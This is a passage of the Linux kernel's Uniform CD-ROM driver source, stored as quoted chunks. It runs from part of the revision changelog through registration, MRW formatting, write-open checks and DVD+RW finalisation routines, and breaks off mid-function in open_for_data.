-- Defined CDROM_CAN(CDC_XXX) for checking the capabilities.\n -- Put in sysctl files for autoclose, autoeject, check_media, debug,\n and lock.\n -- /proc/sys/dev/cdrom/info has been updated to also contain info about\n CD-Rx and DVD capabilities.\n -- Now default to checking media type.\n -- CDROM_SEND_PACKET ioctl added. The infrastructure was in place for\n doing this anyway, with the generic_packet addition.\n \n 3.01 Aug 6, 1999 - Jens Axboe <axboe@image.dk>\n -- Fix up the sysctl handling so that the option flags get set\n correctly.\n -- Fix up ioctl handling so the device specific ones actually get\n called :).\n \n 3.02 Aug 8, 1999 - Jens Axboe <axboe@image.dk>\n -- Fixed volume control on SCSI drives (or others with longer audio\n page).\n -- Fixed a couple of DVD minors. Thanks to Andrew T. Veliath\n <andrewtv@usa.net> for telling me and for having defined the various\n DVD structures and ioctls in the first place! He designed the original\n DVD patches for ide-cd and while I rearranged and unified them, the\n interface is still the same.\n \n 3.03 Sep 1, 1999 - Jens Axboe <axboe@image.dk>\n -- Moved the rest of the audio ioctls from the CD-ROM drivers here. Only\n CDROMREADTOCENTRY and CDROMREADTOCHDR are left.\n -- Moved the CDROMREADxxx ioctls in here.\n -- Defined the cdrom_get_last_written and cdrom_get_next_block as ioctls\n and exported functions.\n -- Erik Andersen <andersen@xmission.com> modified all SCMD_ commands\n to now read GPCMD_ for the new generic packet interface. All low level\n drivers are updated as well.\n -- Various other cleanups.", " 3.04 Sep 12, 1999 - Jens Axboe <axboe@image.dk>\n -- Fixed a couple of possible memory leaks (if an operation failed and\n we didn't free the buffer before returning the error).\n -- Integrated Uniform CD Changer handling from Richard Sharman\n <rsharman@pobox.com>.\n -- Defined CD_DVD and CD_CHANGER log levels.\n -- Fixed the CDROMREADxxx ioctls.\n -- CDROMPLAYTRKIND uses the GPCMD_PLAY_AUDIO_MSF command - too few\n drives supported it. We lose the index part, however.\n -- Small modifications to accommodate opens of /dev/hdc1, required\n for ide-cd to handle multisession discs.\n -- Export cdrom_mode_sense and cdrom_mode_select.\n -- init_cdrom_command() for setting up a cgc command.\n \n 3.05 Oct 24, 1999 - Jens Axboe <axboe@image.dk>\n -- Changed the interface for CDROM_SEND_PACKET. Before it was virtually\n impossible to send the drive data in a sensible way.\n -- Lowered stack usage in mmc_ioctl(), dvd_read_disckey(), and\n dvd_read_manufact.\n -- Added setup of write mode for packet writing.\n -- Fixed CDDA ripping with cdda2wav - accept much larger requests of\n number of frames and split the reads in blocks of 8.", " 3.06 Dec 13, 1999 - Jens Axboe <axboe@image.dk>\n -- Added support for changing the region of DVD drives.\n -- Added sense data to generic command.", " 3.07 Feb 2, 2000 - Jens Axboe <axboe@suse.de>\n -- Do same \"read header length\" trick in cdrom_get_disc_info() as\n we do in cdrom_get_track_info() -- some drive don't obey specs and\n fail if they can't supply the full Mt Fuji size table.\n -- Deleted stuff related to setting up write modes. It has a different\n home now.\n -- Clear header length in mode_select unconditionally.\n -- Removed the register_disk() that was added, not needed here.", " 3.08 May 1, 2000 - Jens Axboe <axboe@suse.de>\n -- Fix direction flag in setup_send_key and setup_report_key. This\n gave some SCSI adapters problems.\n -- Always return -EROFS for write opens\n -- Convert to module_init/module_exit style init and remove some\n of the #ifdef MODULE stuff\n -- Fix several dvd errors - DVD_LU_SEND_ASF should pass agid,\n DVD_HOST_SEND_RPC_STATE did not set buffer size in cdb, and\n dvd_do_auth passed uninitialized data to drive because init_cdrom_command\n did not clear a 0 sized buffer.\n \n 3.09 May 12, 2000 - Jens Axboe <axboe@suse.de>\n -- Fix Video-CD on SCSI drives that don't support READ_CD command. In\n that case switch block size and issue plain READ_10 again, then switch\n back.", " 3.10 Jun 10, 2000 - Jens Axboe <axboe@suse.de>\n -- Fix volume control on CD's - old SCSI-II drives now use their own\n code, as doing MODE6 stuff in here is really not my intention.\n -- Use READ_DISC_INFO for more reliable end-of-disc.", " 3.11 Jun 12, 2000 - Jens Axboe <axboe@suse.de>\n -- Fix bug in getting rpc phase 2 region info.\n -- Reinstate \"correct\" CDROMPLAYTRKIND", " 3.12 Oct 18, 2000 - Jens Axboe <axboe@suse.de>\n -- Use quiet bit on packet commands not known to work", " 3.20 Dec 17, 2003 - Jens Axboe <axboe@suse.de>\n -- Various fixes and lots of cleanups not listed :-)\n -- Locking fixes\n -- Mt Rainier support\n -- DVD-RAM write open fixes", " Nov 5 2001, Aug 8 2002. Modified by Andy Polyakov\n <appro@fy.chalmers.se> to support MMC-3 compliant DVD+RW units.", " Modified by Nigel Kukard <nkukard@lbsd.net> - support DVD+RW\n 2.4.x patch by Andy Polyakov <appro@fy.chalmers.se>", "-------------------------------------------------------------------------*/", "#define pr_fmt(fmt) KBUILD_MODNAME \": \" fmt", "#define REVISION \"Revision: 3.20\"\n#define VERSION \"Id: cdrom.c 3.20 2003/12/17\"", "/* I use an error-log mask to give fine grain control over the type of\n messages dumped to the system logs. The available masks include: */\n#define CD_NOTHING 0x0\n#define CD_WARNING\t0x1\n#define CD_REG_UNREG\t0x2\n#define CD_DO_IOCTL\t0x4\n#define CD_OPEN\t\t0x8\n#define CD_CLOSE\t0x10\n#define CD_COUNT_TRACKS 0x20\n#define CD_CHANGER\t0x40\n#define CD_DVD\t\t0x80", "/* Define this to remove _all_ the debugging messages */\n/* #define ERRLOGMASK CD_NOTHING */\n#define ERRLOGMASK CD_WARNING\n/* #define ERRLOGMASK (CD_WARNING|CD_OPEN|CD_COUNT_TRACKS|CD_CLOSE) */\n/* #define ERRLOGMASK (CD_WARNING|CD_REG_UNREG|CD_DO_IOCTL|CD_OPEN|CD_CLOSE|CD_COUNT_TRACKS) */", "#include <linux/module.h>\n#include <linux/fs.h>\n#include <linux/major.h>\n#include <linux/types.h>\n#include <linux/errno.h>\n#include <linux/kernel.h>\n#include <linux/mm.h>\n#include <linux/slab.h> \n#include <linux/cdrom.h>\n#include <linux/sysctl.h>\n#include <linux/proc_fs.h>\n#include <linux/blkpg.h>\n#include <linux/init.h>\n#include <linux/fcntl.h>\n#include <linux/blkdev.h>\n#include <linux/times.h>\n#include <linux/uaccess.h>\n#include <scsi/scsi_request.h>", "/* used to tell the module to turn on full debugging messages */\nstatic bool debug;\n/* default compatibility mode */\nstatic bool autoclose=1;\nstatic bool autoeject;\nstatic bool lockdoor = 1;\n/* will we ever get to use this... sigh. */\nstatic bool check_media_type;\n/* automatically restart mrw format */\nstatic bool mrw_format_restart = 1;\nmodule_param(debug, bool, 0);\nmodule_param(autoclose, bool, 0);\nmodule_param(autoeject, bool, 0);\nmodule_param(lockdoor, bool, 0);\nmodule_param(check_media_type, bool, 0);\nmodule_param(mrw_format_restart, bool, 0);", "static DEFINE_MUTEX(cdrom_mutex);", "static const char *mrw_format_status[] = {\n\t\"not mrw\",\n\t\"bgformat inactive\",\n\t\"bgformat active\",\n\t\"mrw complete\",\n};", "static const char *mrw_address_space[] = { \"DMA\", \"GAA\" };", "#if (ERRLOGMASK != CD_NOTHING)\n#define cd_dbg(type, fmt, ...)\t\t\t\t\\\ndo {\t\t\t\t\t\t\t\\\n\tif ((ERRLOGMASK & type) || debug == 1)\t\t\\\n\t\tpr_debug(fmt, ##__VA_ARGS__);\t\t\\\n} while (0)\n#else\n#define cd_dbg(type, fmt, ...)\t\t\t\t\\\ndo {\t\t\t\t\t\t\t\\\n\tif (0 && (ERRLOGMASK & type) || debug == 1)\t\\\n\t\tpr_debug(fmt, ##__VA_ARGS__);\t\t\\\n} while (0)\n#endif", "/* The (cdo->capability & ~cdi->mask & CDC_XXX) construct was used in\n a lot of places. This macro makes the code more clear. */\n#define CDROM_CAN(type) (cdi->ops->capability & ~cdi->mask & (type))", "/*\n * Another popular OS uses 7 seconds as the hard timeout for default\n * commands, so it is a good choice for us as well.\n */\n#define CDROM_DEF_TIMEOUT\t(7 * HZ)", "/* Not-exported routines. */", "static void cdrom_sysctl_register(void);", "static LIST_HEAD(cdrom_list);", "int cdrom_dummy_generic_packet(struct cdrom_device_info *cdi,\n\t\t\t struct packet_command *cgc)\n{\n\tif (cgc->sense) {\n\t\tcgc->sense->sense_key = 0x05;\n\t\tcgc->sense->asc = 0x20;\n\t\tcgc->sense->ascq = 0x00;\n\t}", "\tcgc->stat = -EIO;\n\treturn -EIO;\n}\nEXPORT_SYMBOL(cdrom_dummy_generic_packet);", "static int cdrom_flush_cache(struct cdrom_device_info *cdi)\n{\n\tstruct packet_command cgc;", "\tinit_cdrom_command(&cgc, NULL, 0, CGC_DATA_NONE);\n\tcgc.cmd[0] = GPCMD_FLUSH_CACHE;", "\tcgc.timeout = 5 * 60 * HZ;", "\treturn cdi->ops->generic_packet(cdi, &cgc);\n}", "/* requires CD R/RW */\nstatic int cdrom_get_disc_info(struct cdrom_device_info *cdi,\n\t\t\t disc_information *di)\n{\n\tconst struct cdrom_device_ops *cdo = cdi->ops;\n\tstruct packet_command cgc;\n\tint ret, buflen;", "\t/* set up command and get the disc info */\n\tinit_cdrom_command(&cgc, di, sizeof(*di), CGC_DATA_READ);\n\tcgc.cmd[0] = GPCMD_READ_DISC_INFO;\n\tcgc.cmd[8] = cgc.buflen = 2;\n\tcgc.quiet = 1;", "\tret = cdo->generic_packet(cdi, &cgc);\n\tif (ret)\n\t\treturn ret;", "\t/* not all drives have the same disc_info length, so requeue\n\t * packet with the length the drive tells us it can supply\n\t */\n\tbuflen = be16_to_cpu(di->disc_information_length) +\n\t\tsizeof(di->disc_information_length);", "\tif (buflen > sizeof(disc_information))\n\t\tbuflen = sizeof(disc_information);", "\tcgc.cmd[8] = cgc.buflen = buflen;\n\tret = cdo->generic_packet(cdi, &cgc);\n\tif (ret)\n\t\treturn ret;", "\t/* return actual fill size */\n\treturn buflen;\n}", "/* This macro makes sure we don't have to check on cdrom_device_ops\n * existence in the run-time routines below. Change_capability is a\n * hack to have the capability flags defined const, while we can still\n * change it here without gcc complaining at every line.\n */\n#define ENSURE(call, bits)\t\t\t\\\ndo {\t\t\t\t\t\t\\\n\tif (cdo->call == NULL)\t\t\t\\\n\t\t*change_capability &= ~(bits);\t\\\n} while (0)", "/*\n * the first prototypes used 0x2c as the page code for the mrw mode page,\n * subsequently this was changed to 0x03. probe the one used by this drive\n */\nstatic int cdrom_mrw_probe_pc(struct cdrom_device_info *cdi)\n{\n\tstruct packet_command cgc;\n\tchar buffer[16];", "\tinit_cdrom_command(&cgc, buffer, sizeof(buffer), CGC_DATA_READ);", "\tcgc.timeout = HZ;\n\tcgc.quiet = 1;", "\tif (!cdrom_mode_sense(cdi, &cgc, MRW_MODE_PC, 0)) {\n\t\tcdi->mrw_mode_page = MRW_MODE_PC;\n\t\treturn 0;\n\t} else if (!cdrom_mode_sense(cdi, &cgc, MRW_MODE_PC_PRE1, 0)) {\n\t\tcdi->mrw_mode_page = MRW_MODE_PC_PRE1;\n\t\treturn 0;\n\t}", "\treturn 1;\n}", "static int cdrom_is_mrw(struct cdrom_device_info *cdi, int *write)\n{\n\tstruct packet_command cgc;\n\tstruct mrw_feature_desc *mfd;\n\tunsigned char buffer[16];\n\tint ret;", "\t*write = 0;", "\tinit_cdrom_command(&cgc, buffer, sizeof(buffer), CGC_DATA_READ);", "\tcgc.cmd[0] = GPCMD_GET_CONFIGURATION;\n\tcgc.cmd[3] = CDF_MRW;\n\tcgc.cmd[8] = sizeof(buffer);\n\tcgc.quiet = 1;", "\tif ((ret = cdi->ops->generic_packet(cdi, &cgc)))\n\t\treturn ret;", "\tmfd = (struct mrw_feature_desc *)&buffer[sizeof(struct feature_header)];\n\tif (be16_to_cpu(mfd->feature_code) != CDF_MRW)\n\t\treturn 1;\n\t*write = mfd->write;", "\tif ((ret = cdrom_mrw_probe_pc(cdi))) {\n\t\t*write = 0;\n\t\treturn ret;\n\t}", "\treturn 0;\n}", "static int cdrom_mrw_bgformat(struct cdrom_device_info *cdi, int cont)\n{\n\tstruct packet_command cgc;\n\tunsigned char buffer[12];\n\tint ret;", "\tpr_info(\"%sstarting format\\n\", cont ? \"Re\" : \"\");", "\t/*\n\t * FmtData bit set (bit 4), format type is 1\n\t */\n\tinit_cdrom_command(&cgc, buffer, sizeof(buffer), CGC_DATA_WRITE);\n\tcgc.cmd[0] = GPCMD_FORMAT_UNIT;\n\tcgc.cmd[1] = (1 << 4) | 1;", "\tcgc.timeout = 5 * 60 * HZ;", "\t/*\n\t * 4 byte format list header, 8 byte format list descriptor\n\t */\n\tbuffer[1] = 1 << 1;\n\tbuffer[3] = 8;", "\t/*\n\t * nr_blocks field\n\t */\n\tbuffer[4] = 0xff;\n\tbuffer[5] = 0xff;\n\tbuffer[6] = 0xff;\n\tbuffer[7] = 0xff;", "\tbuffer[8] = 0x24 << 2;\n\tbuffer[11] = cont;", "\tret = cdi->ops->generic_packet(cdi, &cgc);\n\tif (ret)\n\t\tpr_info(\"bgformat failed\\n\");", "\treturn ret;\n}", "static int cdrom_mrw_bgformat_susp(struct cdrom_device_info *cdi, int immed)\n{\n\tstruct packet_command cgc;", "\tinit_cdrom_command(&cgc, NULL, 0, CGC_DATA_NONE);\n\tcgc.cmd[0] = GPCMD_CLOSE_TRACK;", "\t/*\n\t * Session = 1, Track = 0\n\t */\n\tcgc.cmd[1] = !!immed;\n\tcgc.cmd[2] = 1 << 1;", "\tcgc.timeout = 5 * 60 * HZ;", "\treturn cdi->ops->generic_packet(cdi, &cgc);\n}", "static int cdrom_mrw_exit(struct cdrom_device_info *cdi)\n{\n\tdisc_information di;\n\tint ret;", "\tret = cdrom_get_disc_info(cdi, &di);\n\tif (ret < 0 || ret < (int)offsetof(typeof(di),disc_type))\n\t\treturn 1;", "\tret = 0;\n\tif (di.mrw_status == CDM_MRW_BGFORMAT_ACTIVE) {\n\t\tpr_info(\"issuing MRW background format suspend\\n\");\n\t\tret = cdrom_mrw_bgformat_susp(cdi, 0);\n\t}", "\tif (!ret && cdi->media_written)\n\t\tret = cdrom_flush_cache(cdi);", "\treturn ret;\n}", "static int cdrom_mrw_set_lba_space(struct cdrom_device_info *cdi, int space)\n{\n\tstruct packet_command cgc;\n\tstruct mode_page_header *mph;\n\tchar buffer[16];\n\tint ret, offset, size;", "\tinit_cdrom_command(&cgc, buffer, sizeof(buffer), CGC_DATA_READ);", "\tcgc.buffer = buffer;\n\tcgc.buflen = sizeof(buffer);", "\tret = cdrom_mode_sense(cdi, &cgc, cdi->mrw_mode_page, 0);\n\tif (ret)\n\t\treturn ret;", "\tmph = (struct mode_page_header *)buffer;\n\toffset = be16_to_cpu(mph->desc_length);\n\tsize = be16_to_cpu(mph->mode_data_length) + 2;", "\tbuffer[offset + 3] = space;\n\tcgc.buflen = size;", "\tret = cdrom_mode_select(cdi, &cgc);\n\tif (ret)\n\t\treturn ret;", "\tpr_info(\"%s: mrw address space %s selected\\n\",\n\t\tcdi->name, mrw_address_space[space]);\n\treturn 0;\n}", "int register_cdrom(struct cdrom_device_info *cdi)\n{\n\tstatic char banner_printed;\n\tconst struct cdrom_device_ops *cdo = cdi->ops;\n\tint *change_capability = (int *)&cdo->capability; /* hack */", "\tcd_dbg(CD_OPEN, \"entering register_cdrom\\n\");", "\tif (cdo->open == NULL || cdo->release == NULL)\n\t\treturn -EINVAL;\n\tif (!banner_printed) {\n\t\tpr_info(\"Uniform CD-ROM driver \" REVISION \"\\n\");\n\t\tbanner_printed = 1;\n\t\tcdrom_sysctl_register();\n\t}", "\tENSURE(drive_status, CDC_DRIVE_STATUS);\n\tif (cdo->check_events == NULL && cdo->media_changed == NULL)\n\t\t*change_capability = ~(CDC_MEDIA_CHANGED | CDC_SELECT_DISC);\n\tENSURE(tray_move, CDC_CLOSE_TRAY | CDC_OPEN_TRAY);\n\tENSURE(lock_door, CDC_LOCK);\n\tENSURE(select_speed, CDC_SELECT_SPEED);\n\tENSURE(get_last_session, CDC_MULTI_SESSION);\n\tENSURE(get_mcn, CDC_MCN);\n\tENSURE(reset, CDC_RESET);\n\tENSURE(generic_packet, CDC_GENERIC_PACKET);\n\tcdi->mc_flags = 0;\n\tcdi->options = CDO_USE_FFLAGS;", "\tif (autoclose == 1 && CDROM_CAN(CDC_CLOSE_TRAY))\n\t\tcdi->options |= (int) CDO_AUTO_CLOSE;\n\tif (autoeject == 1 && CDROM_CAN(CDC_OPEN_TRAY))\n\t\tcdi->options |= (int) CDO_AUTO_EJECT;\n\tif (lockdoor == 1)\n\t\tcdi->options |= (int) CDO_LOCK;\n\tif (check_media_type == 1)\n\t\tcdi->options |= (int) CDO_CHECK_TYPE;", "\tif (CDROM_CAN(CDC_MRW_W))\n\t\tcdi->exit = cdrom_mrw_exit;", "\tif (cdi->disk)\n\t\tcdi->cdda_method = CDDA_BPC_FULL;\n\telse\n\t\tcdi->cdda_method = CDDA_OLD;", "\tWARN_ON(!cdo->generic_packet);", "\tcd_dbg(CD_REG_UNREG, \"drive \\\"/dev/%s\\\" registered\\n\", cdi->name);\n\tmutex_lock(&cdrom_mutex);\n\tlist_add(&cdi->list, &cdrom_list);\n\tmutex_unlock(&cdrom_mutex);\n\treturn 0;\n}\n#undef ENSURE", "void unregister_cdrom(struct cdrom_device_info *cdi)\n{\n\tcd_dbg(CD_OPEN, \"entering unregister_cdrom\\n\");", "\tmutex_lock(&cdrom_mutex);\n\tlist_del(&cdi->list);\n\tmutex_unlock(&cdrom_mutex);", "\tif (cdi->exit)\n\t\tcdi->exit(cdi);", "\tcd_dbg(CD_REG_UNREG, \"drive \\\"/dev/%s\\\" unregistered\\n\", cdi->name);\n}", "int cdrom_get_media_event(struct cdrom_device_info *cdi,\n\t\t\t struct media_event_desc *med)\n{\n\tstruct packet_command cgc;\n\tunsigned char buffer[8];\n\tstruct event_header *eh = (struct event_header *)buffer;", "\tinit_cdrom_command(&cgc, buffer, sizeof(buffer), CGC_DATA_READ);\n\tcgc.cmd[0] = GPCMD_GET_EVENT_STATUS_NOTIFICATION;\n\tcgc.cmd[1] = 1;\t\t/* IMMED */\n\tcgc.cmd[4] = 1 << 4;\t/* media event */\n\tcgc.cmd[8] = sizeof(buffer);\n\tcgc.quiet = 1;", "\tif (cdi->ops->generic_packet(cdi, &cgc))\n\t\treturn 1;", "\tif (be16_to_cpu(eh->data_len) < sizeof(*med))\n\t\treturn 1;", "\tif (eh->nea || eh->notification_class != 0x4)\n\t\treturn 1;", "\tmemcpy(med, &buffer[sizeof(*eh)], sizeof(*med));\n\treturn 0;\n}", "static int cdrom_get_random_writable(struct cdrom_device_info *cdi,\n\t\t\t struct rwrt_feature_desc *rfd)\n{\n\tstruct packet_command cgc;\n\tchar buffer[24];\n\tint ret;", "\tinit_cdrom_command(&cgc, buffer, sizeof(buffer), CGC_DATA_READ);", "\tcgc.cmd[0] = GPCMD_GET_CONFIGURATION;\t/* often 0x46 */\n\tcgc.cmd[3] = CDF_RWRT;\t\t\t/* often 0x0020 */\n\tcgc.cmd[8] = sizeof(buffer);\t\t/* often 0x18 */\n\tcgc.quiet = 1;", "\tif ((ret = cdi->ops->generic_packet(cdi, &cgc)))\n\t\treturn ret;", "\tmemcpy(rfd, &buffer[sizeof(struct feature_header)], sizeof (*rfd));\n\treturn 0;\n}", "static int cdrom_has_defect_mgt(struct cdrom_device_info *cdi)\n{\n\tstruct packet_command cgc;\n\tchar buffer[16];\n\t__be16 *feature_code;\n\tint ret;", "\tinit_cdrom_command(&cgc, buffer, sizeof(buffer), CGC_DATA_READ);", "\tcgc.cmd[0] = GPCMD_GET_CONFIGURATION;\n\tcgc.cmd[3] = CDF_HWDM;\n\tcgc.cmd[8] = sizeof(buffer);\n\tcgc.quiet = 1;", "\tif ((ret = cdi->ops->generic_packet(cdi, &cgc)))\n\t\treturn ret;", "\tfeature_code = (__be16 *) &buffer[sizeof(struct feature_header)];\n\tif (be16_to_cpu(*feature_code) == CDF_HWDM)\n\t\treturn 0;", "\treturn 1;\n}", "\nstatic int cdrom_is_random_writable(struct cdrom_device_info *cdi, int *write)\n{\n\tstruct rwrt_feature_desc rfd;\n\tint ret;", "\t*write = 0;", "\tif ((ret = cdrom_get_random_writable(cdi, &rfd)))\n\t\treturn ret;", "\tif (CDF_RWRT == be16_to_cpu(rfd.feature_code))\n\t\t*write = 1;", "\treturn 0;\n}", "static int cdrom_media_erasable(struct cdrom_device_info *cdi)\n{\n\tdisc_information di;\n\tint ret;", "\tret = cdrom_get_disc_info(cdi, &di);\n\tif (ret < 0 || ret < offsetof(typeof(di), n_first_track))\n\t\treturn -1;", "\treturn di.erasable;\n}", "/*\n * FIXME: check RO bit\n */\nstatic int cdrom_dvdram_open_write(struct cdrom_device_info *cdi)\n{\n\tint ret = cdrom_media_erasable(cdi);", "\t/*\n\t * allow writable open if media info read worked and media is\n\t * erasable, _or_ if it fails since not all drives support it\n\t */\n\tif (!ret)\n\t\treturn 1;", "\treturn 0;\n}", "static int cdrom_mrw_open_write(struct cdrom_device_info *cdi)\n{\n\tdisc_information di;\n\tint ret;", "\t/*\n\t * always reset to DMA lba space on open\n\t */\n\tif (cdrom_mrw_set_lba_space(cdi, MRW_LBA_DMA)) {\n\t\tpr_err(\"failed setting lba address space\\n\");\n\t\treturn 1;\n\t}", "\tret = cdrom_get_disc_info(cdi, &di);\n\tif (ret < 0 || ret < offsetof(typeof(di),disc_type))\n\t\treturn 1;", "\tif (!di.erasable)\n\t\treturn 1;", "\t/*\n\t * mrw_status\n\t * 0\t-\tnot MRW formatted\n\t * 1\t-\tMRW bgformat started, but not running or complete\n\t * 2\t-\tMRW bgformat in progress\n\t * 3\t-\tMRW formatting complete\n\t */\n\tret = 0;\n\tpr_info(\"open: mrw_status '%s'\\n\", mrw_format_status[di.mrw_status]);\n\tif (!di.mrw_status)\n\t\tret = 1;\n\telse if (di.mrw_status == CDM_MRW_BGFORMAT_INACTIVE &&\n\t\t\tmrw_format_restart)\n\t\tret = cdrom_mrw_bgformat(cdi, 1);", "\treturn ret;\n}", "static int mo_open_write(struct cdrom_device_info *cdi)\n{\n\tstruct packet_command cgc;\n\tchar buffer[255];\n\tint ret;", "\tinit_cdrom_command(&cgc, &buffer, 4, CGC_DATA_READ);\n\tcgc.quiet = 1;", "\t/*\n\t * obtain write protect information as per\n\t * drivers/scsi/sd.c:sd_read_write_protect_flag\n\t */", "\tret = cdrom_mode_sense(cdi, &cgc, GPMODE_ALL_PAGES, 0);\n\tif (ret)\n\t\tret = cdrom_mode_sense(cdi, &cgc, GPMODE_VENDOR_PAGE, 0);\n\tif (ret) {\n\t\tcgc.buflen = 255;\n\t\tret = cdrom_mode_sense(cdi, &cgc, GPMODE_ALL_PAGES, 0);\n\t}", "\t/* drive gave us no info, let the user go ahead */\n\tif (ret)\n\t\treturn 0;", "\treturn buffer[3] & 0x80;\n}", "static int cdrom_ram_open_write(struct cdrom_device_info *cdi)\n{\n\tstruct rwrt_feature_desc rfd;\n\tint ret;", "\tif ((ret = cdrom_has_defect_mgt(cdi)))\n\t\treturn ret;", "\tif ((ret = cdrom_get_random_writable(cdi, &rfd)))\n\t\treturn ret;\n\telse if (CDF_RWRT == be16_to_cpu(rfd.feature_code))\n\t\tret = !rfd.curr;", "\tcd_dbg(CD_OPEN, \"can open for random write\\n\");\n\treturn ret;\n}", "static void cdrom_mmc3_profile(struct cdrom_device_info *cdi)\n{\n\tstruct packet_command cgc;\n\tchar buffer[32];\n\tint ret, mmc3_profile;", "\tinit_cdrom_command(&cgc, buffer, sizeof(buffer), CGC_DATA_READ);", "\tcgc.cmd[0] = GPCMD_GET_CONFIGURATION;\n\tcgc.cmd[1] = 0;\n\tcgc.cmd[2] = cgc.cmd[3] = 0;\t\t/* Starting Feature Number */\n\tcgc.cmd[8] = sizeof(buffer);\t\t/* Allocation Length */\n\tcgc.quiet = 1;", "\tif ((ret = cdi->ops->generic_packet(cdi, &cgc)))\n\t\tmmc3_profile = 0xffff;\n\telse\n\t\tmmc3_profile = (buffer[6] << 8) | buffer[7];", "\tcdi->mmc3_profile = mmc3_profile;\n}", "static int cdrom_is_dvd_rw(struct cdrom_device_info *cdi)\n{\n\tswitch (cdi->mmc3_profile) {\n\tcase 0x12:\t/* DVD-RAM\t*/\n\tcase 0x1A:\t/* DVD+RW\t*/\n\tcase 0x43:\t/* BD-RE\t*/\n\t\treturn 0;\n\tdefault:\n\t\treturn 1;\n\t}\n}", "/*\n * returns 0 for ok to open write, non-0 to disallow\n */\nstatic int cdrom_open_write(struct cdrom_device_info *cdi)\n{\n\tint mrw, mrw_write, ram_write;\n\tint ret = 1;", "\tmrw = 0;\n\tif (!cdrom_is_mrw(cdi, &mrw_write))\n\t\tmrw = 1;", "\tif (CDROM_CAN(CDC_MO_DRIVE))\n\t\tram_write = 1;\n\telse\n\t\t(void) cdrom_is_random_writable(cdi, &ram_write);\n\t\n\tif (mrw)\n\t\tcdi->mask &= ~CDC_MRW;\n\telse\n\t\tcdi->mask |= CDC_MRW;", "\tif (mrw_write)\n\t\tcdi->mask &= ~CDC_MRW_W;\n\telse\n\t\tcdi->mask |= CDC_MRW_W;", "\tif (ram_write)\n\t\tcdi->mask &= ~CDC_RAM;\n\telse\n\t\tcdi->mask |= CDC_RAM;", "\tif (CDROM_CAN(CDC_MRW_W))\n\t\tret = cdrom_mrw_open_write(cdi);\n\telse if (CDROM_CAN(CDC_DVD_RAM))\n\t\tret = cdrom_dvdram_open_write(cdi);\n \telse if (CDROM_CAN(CDC_RAM) &&\n \t\t !CDROM_CAN(CDC_CD_R|CDC_CD_RW|CDC_DVD|CDC_DVD_R|CDC_MRW|CDC_MO_DRIVE))\n \t\tret = cdrom_ram_open_write(cdi);\n\telse if (CDROM_CAN(CDC_MO_DRIVE))\n\t\tret = mo_open_write(cdi);\n\telse if (!cdrom_is_dvd_rw(cdi))\n\t\tret = 0;", "\treturn ret;\n}", "static void cdrom_dvd_rw_close_write(struct cdrom_device_info *cdi)\n{\n\tstruct packet_command cgc;", "\tif (cdi->mmc3_profile != 0x1a) {\n\t\tcd_dbg(CD_CLOSE, \"%s: No DVD+RW\\n\", cdi->name);\n\t\treturn;\n\t}", "\tif (!cdi->media_written) {\n\t\tcd_dbg(CD_CLOSE, \"%s: DVD+RW media clean\\n\", cdi->name);\n\t\treturn;\n\t}", "\tpr_info(\"%s: dirty DVD+RW media, \\\"finalizing\\\"\\n\", cdi->name);", "\tinit_cdrom_command(&cgc, NULL, 0, CGC_DATA_NONE);\n\tcgc.cmd[0] = GPCMD_FLUSH_CACHE;\n\tcgc.timeout = 30*HZ;\n\tcdi->ops->generic_packet(cdi, &cgc);", "\tinit_cdrom_command(&cgc, NULL, 0, CGC_DATA_NONE);\n\tcgc.cmd[0] = GPCMD_CLOSE_TRACK;\n\tcgc.timeout = 3000*HZ;\n\tcgc.quiet = 1;\n\tcdi->ops->generic_packet(cdi, &cgc);", "\tinit_cdrom_command(&cgc, NULL, 0, CGC_DATA_NONE);\n\tcgc.cmd[0] = GPCMD_CLOSE_TRACK;\n\tcgc.cmd[2] = 2;\t /* Close session */\n\tcgc.quiet = 1;\n\tcgc.timeout = 3000*HZ;\n\tcdi->ops->generic_packet(cdi, &cgc);", "\tcdi->media_written = 0;\n}", "static int cdrom_close_write(struct cdrom_device_info *cdi)\n{\n#if 0\n\treturn cdrom_flush_cache(cdi);\n#else\n\treturn 0;\n#endif\n}", "/* badly broken, I know. Is due for a fixup anytime. */\nstatic void cdrom_count_tracks(struct cdrom_device_info *cdi, tracktype *tracks)\n{\n\tstruct cdrom_tochdr header;\n\tstruct cdrom_tocentry entry;\n\tint ret, i;\n\ttracks->data = 0;\n\ttracks->audio = 0;\n\ttracks->cdi = 0;\n\ttracks->xa = 0;\n\ttracks->error = 0;\n\tcd_dbg(CD_COUNT_TRACKS, \"entering cdrom_count_tracks\\n\");\n\t/* Grab the TOC header so we can see how many tracks there are */\n\tret = cdi->ops->audio_ioctl(cdi, CDROMREADTOCHDR, &header);\n\tif (ret) {\n\t\tif (ret == -ENOMEDIUM)\n\t\t\ttracks->error = CDS_NO_DISC;\n\t\telse\n\t\t\ttracks->error = CDS_NO_INFO;\n\t\treturn;\n\t}\n\t/* check what type of tracks are on this disc */\n\tentry.cdte_format = CDROM_MSF;\n\tfor (i = header.cdth_trk0; i <= header.cdth_trk1; i++) {\n\t\tentry.cdte_track = i;\n\t\tif (cdi->ops->audio_ioctl(cdi, CDROMREADTOCENTRY, &entry)) {\n\t\t\ttracks->error = CDS_NO_INFO;\n\t\t\treturn;\n\t\t}\n\t\tif (entry.cdte_ctrl & CDROM_DATA_TRACK) {\n\t\t\tif (entry.cdte_format == 0x10)\n\t\t\t\ttracks->cdi++;\n\t\t\telse if (entry.cdte_format == 0x20)\n\t\t\t\ttracks->xa++;\n\t\t\telse\n\t\t\t\ttracks->data++;\n\t\t} else {\n\t\t\ttracks->audio++;\n\t\t}\n\t\tcd_dbg(CD_COUNT_TRACKS, \"track %d: format=%d, ctrl=%d\\n\",\n\t\t i, entry.cdte_format, entry.cdte_ctrl);\n\t}\n\tcd_dbg(CD_COUNT_TRACKS, \"disc has %d tracks: %d=audio %d=data %d=Cd-I %d=XA\\n\",\n\t header.cdth_trk1, tracks->audio, tracks->data,\n\t tracks->cdi, tracks->xa);\n}", "static\nint open_for_data(struct cdrom_device_info *cdi)\n{\n\tint ret;\n\tconst struct cdrom_device_ops *cdo = cdi->ops;\n\ttracktype tracks;\n\tcd_dbg(CD_OPEN, \"entering open_for_data\\n\");\n\t/* Check if the driver can report drive status. If it can, we\n\t can do clever things. If it can't, well, we at least tried! */\n\tif (cdo->drive_status != NULL) {\n\t\tret = cdo->drive_status(cdi, CDSL_CURRENT);\n\t\tcd_dbg(CD_OPEN, \"drive_status=%d\\n\", ret);\n\t\tif (ret == CDS_TRAY_OPEN) {\n\t\t\tcd_dbg(CD_OPEN, \"the tray is open...\\n\");\n\t\t\t/* can/may i close it? */\n\t\t\tif 